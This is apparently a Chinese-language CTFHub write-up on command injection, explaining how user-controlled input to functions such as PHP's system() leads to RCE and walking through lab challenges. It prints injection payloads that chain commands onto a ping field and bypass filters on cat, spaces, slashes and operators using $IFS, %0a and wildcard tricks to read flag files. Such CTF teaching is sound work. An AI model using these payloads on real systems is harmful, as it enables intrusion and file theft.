CTFHUB--RCE--命令执行

命令执行

原理：

在编写程序的时候，当碰到要执行系统命令来获取一些信息时，就要调用外部命令的函数，比如php中的exec()、system()等，如果这些函数的参数是由用户所提供的，那么恶意用户就可能通过构造命令拼接来执行额外系统命令。

利用条件：

1.开发人员调用了能够执行系统命令的函数

2.这个函数的参数可控（即用户能够控制）

3.开发人员没有对该函数的参数进行过滤或过滤不严

常见的拼接符

常见Windows命令

常见Linux命令

例题

eval执行

先打开环境，查看他给的代码，url:/?cmd=system(“ls”);

继续查看cmd=system(“ls /”);’

看到flag，读取cmd=system(“cat /flag_13835”);

命令注入

这是一个在线测试网络延迟的平台，路由器中经常会见到。无任何安全措施，尝试获取 flag

看到IP，直接ping:127.0.0.1|ls

得到两个文件，ping第一个：127.0.0.1|cat XXXXX.php

没有什么显示，查看源代码得到flag

过滤cat

过滤了cat命令之后，你还有什么方法能读到 Flag?

这儿过滤的cat，用其他的命令查看文件，其余方法不变

使用head命令查看

过滤空格

过滤了空格，用其他符号代替就行（<,<>,%20(space),%09(tab),$IFS$9,{IFS}），其余方法不变，我用<代替

过滤目录分隔符

这次过滤了目录分割符 / ，你能读到 flag 目录下的 flag 文件吗

过滤了目录分割符，因此我们不能直接读取，我们可以先ping，再进入文件夹，再列举文件夹的内容

127.0.0.1|ls

127.0.0.1;cd flag_is_here;ls

127.0.0.1;cd flag_is_here;cat XXXXX.php

过滤运算符

过滤了几个运算符, 要怎么绕过呢

||、& 被过滤，不能使用，但并不是所有的运算符都被过滤，使用选取其他运算符就行我使用的是;

综合过滤练习

同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?

运算符、cat、flag、目录分割符都被过滤了，|用%0a代替

Url:?/127.0.0.1%0als

?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Als#

?ip=127.0.0.1%0D%0Acd${IFS}fl$*ag_is_here%0Ahead${IFS}fl$*ag_36062524228722.php